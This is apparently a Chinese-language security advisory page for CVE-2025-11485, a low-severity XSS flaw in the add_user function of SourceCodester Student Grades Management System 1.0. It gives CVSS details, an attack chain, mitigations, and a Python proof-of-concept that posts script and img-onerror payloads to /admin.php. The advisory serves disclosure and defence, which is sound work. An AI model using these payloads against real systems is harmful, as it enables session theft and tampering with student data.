IPBUF安全漏洞报告
English
CVE-2025-11485 CVSS 2.4 低危

CVE-2025-11485:SourceCodester学生成绩管理系统XSS漏洞

披露日期: 2025-10-08

漏洞信息

漏洞编号
CVE-2025-11485
漏洞类型
跨站脚本攻击(XSS)
CVSS评分
2.4 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
SourceCodester Student Grades Management System

相关标签

XSS跨站脚本SourceCodesterStudent Grades Management System学生成绩管理系统CVE-2025-11485admin.phpadd_user存储型XSSWeb应用漏洞

漏洞概述

CVE-2025-11485是SourceCodester学生成绩管理系统(Student Grades Management System)1.0版本中存在的一个跨站脚本(XSS)漏洞。该漏洞位于管理后台的/admin.php文件中的add_user函数,具体涉及用户管理页面(Manage Users Page)的first_name和last_name参数。由于系统未对用户输入进行充分的过滤和转义处理,攻击者可以通过精心构造的恶意脚本代码注入到这些参数中,从而实现存储型或反射型XSS攻击。该漏洞可被远程利用,且漏洞的利用方式已被公开披露,可能被恶意攻击者利用。CVSS 3.1评分为2.4分,属于低危级别。漏洞的利用需要高权限认证(PR:H),并且需要用户交互(UI:R),这在一定程度上限制了漏洞的危害范围。然而,对于管理员而言,一旦被诱骗点击恶意链接或访问包含恶意代码的页面,攻击者可以窃取管理员的会话信息、篡改页面内容或执行其他恶意操作。由于该漏洞影响的是教育管理系统,可能涉及学生个人信息和成绩数据,因此仍然需要引起重视并及时修复。

技术细节

该XSS漏洞的技术原理在于SourceCodester学生成绩管理系统1.0版本的/admin.php文件中,add_user函数在处理用户注册或添加用户操作时,未对first_name和last_name参数进行适当的输入验证和HTML实体编码。当管理员或具有高权限的用户通过管理后台添加新用户时,系统直接将用户输入的姓名数据存储到数据库中,并在后续页面展示时未进行安全转义,导致恶意JavaScript代码可以在浏览器中执行。攻击者可以通过构造包含<script>标签或其他HTML事件处理器的payload(如<img src=x onerror=alert(document.cookie)>),将其作为姓名提交。由于漏洞利用需要高权限(PR:H),攻击者需要先获取管理员或具有用户管理权限的账号。然后通过社会工程学手段(如钓鱼邮件或即时消息)诱导已认证的管理员点击恶意链接或访问特制的页面,触发用户交互(UI:R)。一旦成功利用,攻击者可以窃取管理员的会话Cookie、进行权限提升、植入后门或篡改系统数据。漏洞的CVSS向量为CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N,表明该漏洞通过网络利用,攻击复杂度低,但对机密性影响低,对完整性影响低,不影响可用性。

攻击链分析

STEP 1
步骤1:获取管理员凭证
攻击者通过钓鱼攻击、暴力破解或其他方式获取学生成绩管理系统管理员或具有用户管理权限的账号凭证,因为该漏洞需要高权限(PR:H)才能利用。
STEP 2
步骤2:构造恶意XSS Payload
攻击者精心构造包含恶意JavaScript代码的payload,例如在first_name或last_name参数中注入<script>alert(document.cookie)</script>或<img src=x onerror=...>等代码。
STEP 3
步骤3:诱导管理员执行操作
攻击者通过社会工程学手段(如发送钓鱼邮件、即时消息或伪造的管理员通知)诱导已登录的管理员点击恶意链接或访问特制的页面,触发用户交互(UI:R)。
STEP 4
步骤4:注入恶意代码
管理员在不知情的情况下,通过管理后台的add_user功能添加包含恶意payload的新用户,恶意脚本被存储到数据库中。
STEP 5
步骤5:触发XSS执行
当其他管理员或用户查看用户列表页面时,浏览器解析并执行存储的恶意脚本,攻击者可以窃取会话Cookie、进行权限提升或执行其他恶意操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11485 PoC - XSS in SourceCodester Student Grades Management System 1.0 # Vulnerable endpoint: /admin.php # Vulnerable function: add_user # Vulnerable parameters: first_name, last_name import requests TARGET_URL = "http://target-site.com/admin.php" ADMIN_COOKIES = {"PHPSESSID": "admin_session_cookie_here"} # XSS payloads for first_name and last_name parameters payload_first_name = '<script>alert(document.cookie)</script>' payload_last_name = '<img src=x onerror=alert("XSS-CVE-2025-11485")>' # POST data to add_user function data = { "first_name": payload_first_name, "last_name": payload_last_name, "username": "testuser", "password": "Test@123", "user_type": "Administrator", "add": "1" } # Send the malicious request response = requests.post(TARGET_URL, data=data, cookies=ADMIN_COOKIES) if response.status_code == 200: print("[+] XSS payload submitted successfully") print("[+] When an admin views the user list, the script will execute") else: print(f"[-] Failed with status code: {response.status_code}") # Alternative: URL-based XSS payload for reflected scenarios reflected_payload = f"{TARGET_URL}?first_name=<script>alert('XSS')</script>&last_name=test" print(f"\n[+] Reflected XSS URL: {reflected_payload}")

影响范围

SourceCodester Student Grades Management System 1.0

防御指南

临时缓解措施
在等待官方补丁发布之前,建议采取以下临时缓解措施:1)对/admin.php文件中的add_user函数进行代码审查,对first_name和last_name参数添加输入过滤,使用白名单方式只允许字母、数字和常见字符;2)在输出层面对用户输入进行HTML实体编码,例如将<转义为&lt;,将>转义为&gt;;3)部署Web应用防火墙(WAF)规则,拦截包含常见XSS payload(如<script>、onerror=、javascript:等)的请求;4)为管理员账号启用多因素认证,防止凭证被盗用后被用于漏洞利用;5)限制管理后台的访问IP范围,仅允许可信网络访问;6)定期检查系统日志,及时发现可疑的用户添加操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表